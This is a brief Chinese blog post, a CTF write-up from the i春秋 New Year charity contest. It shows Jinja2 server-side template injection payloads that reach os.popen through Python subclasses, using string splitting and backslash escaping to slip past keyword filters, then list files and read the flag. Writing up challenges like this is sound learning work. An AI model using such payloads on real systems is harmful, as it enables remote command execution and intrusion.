i春秋新春战疫公益赛复现

最新推荐文章于 2020-04-04 00:13:05 发布

天问_Herbert555

最新推荐文章于 2020-04-04 00:13:05 发布

阅读量1.5k

点赞数

分类专栏： # 比赛题目总结

https://blog.csdn.net/qq_44657899

本文链接：https://blog.csdn.net/qq_44657899/article/details/104504926

版权

9 篇文章 0 订阅

订阅专栏

blaklist

以前做过BUU的强网杯随便注，不过当时的两种解法都不行，做了这道题算是又学会了一种方法，直接记录在BUU的博客里了：
https://blog.csdn.net/qq_44657899/article/details/103239145

在decode界面可以进行进行注入，提交payload的base64编码即可。

{{ [].__class__.__base__.__subclasses__()[127].__init__.__globals__['po'+'pen']('ls').read()}}

在这里插入图片描述 flag被过滤使用fla\g绕过。

{{ [].__class__.__base__.__subclasses__()[127].__init__.__globals__['po'+'pen']('cat  this_is_the_fla\g.txt').read()}}

在这里插入图片描述

这道题因为不知道蚁剑的虚拟终端所以没做出来。。
在这里插入图片描述

优惠劵

关注关注